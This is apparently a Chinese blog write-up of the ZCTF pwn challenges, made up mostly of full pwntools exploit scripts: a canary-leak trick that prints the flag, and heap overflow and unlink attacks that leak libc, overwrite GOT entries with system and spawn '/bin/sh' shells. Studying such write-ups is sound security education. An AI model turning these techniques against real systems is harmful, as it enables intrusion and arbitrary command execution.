版权声明:本文为博主原创文章,未经博主允许不得转载。
最近有了点时间,把ZCTF的pwn总结了下,就差最后一个pwn500,另找时间总结。
文件打包:http://files.cnblogs.com/files/wangaohui/attach.zip
Pwn100
很明显栈溢出,但是有canary保护。但是明显的是flag已经被读入了内存。在网上找到了dragonsector写的一个pdf,知道了当__stack_check_fail时,会打印出正在运行中程序的名称,如下:
所以,我们只要将__libc_argv[0]覆盖为flag的地址就能将flag打印出来。POC:
1 from pwn import * 2 #context.log_level = 'debug' 3 s = remote('115.28.206.86',22222) 4 s.recvuntil('please guess the flag:') 5 payload='ZCTF{'+'A'*(32-5) + '\x00' + 'a'*263 + p64(0x6010C5) 6 s.sendline(payload) 7 s.recvuntil('***: ') 8 flagt = s.recvuntil('\n')[:27] 9 flag = 'ZCTF{' 10 for i in flagt: 11 flag += chr(ord(i)^ord('A')) 12 print flag 13 s.close()
Pwn200-note1
1 from pwn import * 2 #context.log_level = 'debug' 3 io = remote('127.0.0.1',10001) 4 def new(title, typ, content): 5 io.recvuntil('Enter the title:') 6 io.sendline(title) 7 io.recvuntil('Enter the type:') 8 io.sendline(typ) 9 io.recvuntil('Enter the content:') 10 io.sendline(content) 11 def show(): 12 io.recvuntil('content=') 13 io.recvuntil('\n') 14 io.recvuntil('title=') 15 leak = io.recvuntil(',') 16 printfaddr = u64(leak) 17 print hex(printfaddr) 18 def edit(title, newc): 19 io.recvuntil('Input the note title:') 20 io.sendline(title) 21 io.recvuntil('Enter the new content:') 22 io.sendline(newc) 23 io.recvuntil('Modify success') 24 def delete(title): 25 io.recvuntil('Input the note title:') 26 io.sendline(title) 27 io.recvuntil('Delete success') 28 def pwn(): 29 libcstartoff = 0x21A50 30 systemoff = 0x414F0 31 io.recvuntil('option--->>') 32 io.sendline('1') 33 new('111','aaa','a1a1') 34 io.recvuntil('option--->>') 35 io.sendline('1') 36 new('222','aaa','a1a1') 37 io.recvuntil('option--->>') 38 io.sendline('1') 39 new('333','aaa','a1a1') 40 41 payload = 'a'*0x100 + p64(0) + p64(0x171) + p64(0x0) + p64(0x602040-0x70) + '222' #p64(0x602018) 42 io.recvuntil('option--->>') 43 io.sendline('3') 44 edit('111', payload) 45 46 io.recvuntil('option--->>') 47 io.sendline('2') 48 io.recvuntil('content=') 49 io.recvuntil('\n') 50 io.recvuntil('content=') 51 io.recvuntil('\n') 52 io.recvuntil('content=') 53 libcstart = io.recvuntil('\n')[:-1].ljust(8,'\x00') 54 numlibcstart = u64(libcstart) 55 print 'leaked libc_start_main addr is %x' % numlibcstart 56 numsys = numlibcstart - libcstartoff + systemoff 57 58 io.recvuntil('option--->>') 59 io.sendline('3') 60 edit('', 'a'*40+p64(numsys)) 61 62 io.recvuntil('option--->>') 63 io.sendline('/bin/sh;') 64 io.interactive() 65 pwn()
Pwn400-note2
1 from pwn import * 2 import time 3 #context.log_level = 'debug' 4 def new(s,length,content): 5 s.sendline('1') 6 s.recvuntil('(less than 128)') 7 s.sendline(str(length)) 8 s.recvuntil('Input the note content:') 9 s.sendline(content) 10 def edit(s,idf,c,content): 11 s.sendline('3') 12 s.recvuntil('Input the id of the note:') 13 s.sendline(str(idf)) 14 s.recvuntil('[1.overwrite/2.append]') 15 s.sendline(str(c)) 16 s.sendline(content) 17 def dele(s,idf): 18 s.sendline('4') 19 s.sendline(str(idf)) 20 s.recvuntil('delete note success!') 21 def infoleak(s,idf): 22 s.sendline('2') 23 s.recvuntil('Input the id of the note:') 24 s.sendline(str(idf)) 25 s.recvuntil('Content is ') 26 return u64(s.recvuntil('\n')[:-1].ljust(8,'\x00')) 27 s= remote('127.0.0.1',10001) 28 time.sleep(2) 29 print 'pid of note2 is :' + str(pwnlib.util.proc.pidof('note2')[0]) 30 raw_input('go!') 31 s.recvuntil('Input your name:') 32 s.sendline('wah') 33 s.recvuntil('Input your address:') 34 s.sendline('ucas') 35 s.recvuntil('option--->>') 36 37 globalptr = 0x602120 38 fakefd = globalptr - 0x18 39 fakebk = globalptr - 0x10 40 content = 'a'*8 41 content += p64(0x91) 42 content += p64(fakefd) 43 content += p64(fakebk) 44 new(s,0x80,content) 45 s.recvuntil('option--->>') 46 new(s,0x0,'a'*8) 47 s.recvuntil('option--->>') 48 new(s,0x80,'b'*8) 49 s.recvuntil('option--->>') 50 dele(s,1) 51 s.recvuntil('option--->>') 52 53 content = 'b'*0x10 54 content += p64(0xa0) 55 content += p64(0x90) 56 new(s,0x0,content) 57 s.recvuntil('option--->>') 58 dele(s,2) 59 s.recvuntil('option--->>') 60 content = 'a'*0x18 + p64(0x602088) 61 edit(s,0,1,content) 62 s.recvuntil('option--->>') 63 64 atoiaddr = infoleak(s,0) 65 s.recvuntil('option--->>') 66 print 'atoi address is ' + hex(atoiaddr) 67 systemaddr = atoiaddr - 0x36360 + 0x414F0 68 print 'system address is ' + hex(systemaddr) 69 content = p64(systemaddr) 70 edit(s,0,1,content) 71 s.recvuntil('option--->>') 72 s.sendline('/bin/sh') 73 s.interactive() 74 s.close()
Pwn300-note3
1 from pwn import * 2 import time 3 #context.log_level = 'debug' 4 def new(s,length,content): 5 s.sendline('1') 6 s.recvuntil('(less than 1024)') 7 s.sendline(str(length)) 8 s.recvuntil('Input the note content:') 9 s.sendline(content) 10 def edit(s,idf,content): 11 s.sendline('3') 12 s.recvuntil('Input the id of the note:') 13 s.sendline(str(idf)) 14 s.recvuntil('Input the new content:') 15 s.sendline(content) 16 def dele(s,idf): 17 s.sendline('4') 18 s.recvuntil('Input the id of the note:') 19 s.sendline(str(idf)) 20 s.recvuntil('Delete success') 21 def infoleak(s,idf): 22 s.sendline('4') 23 s.recvuntil('Input the id of the note:\n') 24 s.sendline(str(idf)) 25 time.sleep(1) 26 return u64(s.recvuntil('\n')[:-1].ljust(8,'\x00')) 27 s= remote('127.0.0.1',10001) 28 time.sleep(2) 29 print 'pid of note2 is :' + str(pwnlib.util.proc.pidof('note3')[0]) 30 raw_input('go!') 31 s.recvuntil('option--->>') 32 33 globalptr = 0x6020C8 34 fakefd = globalptr - 0x18 35 fakebk = globalptr - 0x10 36 content = 'a'*8 37 content += p64(0x91) 38 content += p64(fakefd) 39 content += p64(fakebk) 40 new(s,0x80,content) 41 s.recvuntil('option--->>') 42 new(s,0x0,'a'*8) 43 s.recvuntil('option--->>') 44 new(s,0x80,'b'*8) 45 s.recvuntil('option--->>') 46 dele(s,1) 47 s.recvuntil('option--->>') 48 49 content = 'b'*0x10 50 content += p64(0xa0) 51 content += p64(0x90) 52 new(s,0x0,content) 53 s.recvuntil('option--->>') 54 dele(s,2) 55 s.recvuntil('option--->>') 56 content = 'a'*0x18 + p64(0x602018) + p64(0x602020) + p64(0x602070) 57 edit(s,0,content) 58 s.recvuntil('option--->>') 59 content = p64(0x400736)[:-1] 60 edit(s,0,content) 61 s.recvuntil('option--->>') 62 63 putsaddr = infoleak(s,1) 64 s.recvuntil('option--->>') 65 print 'puts address is ' + hex(putsaddr) 66 systemaddr = putsaddr - 0x6B9F0 + 0x414F0 67 print 'system address is ' + hex(systemaddr) 68 content = p64(systemaddr) 69 edit(s,2,content) 70 s.recvuntil('option--->>') 71 s.sendline('/bin/sh') 72 s.interactive() 73 s.close()
加深了对堆溢出的理解,linux下free时的unlink操作由于有check,并不能达到任意地址写,为了绕过check,能将变量ptr改为&ptr-0x18(64位系统下),&ptr-0xc(32位系统下)。也学到了一个新的泄漏内存的方法,就是如果能达到任意地址写的话,可以将某个.got.plt项(记为函数A)修改为puts在.plt的位置,这样在调用A时,就能调用puts函数造成信息泄露。Note2和note3都是整数溢出+堆溢出(fastbin+dwshoot)。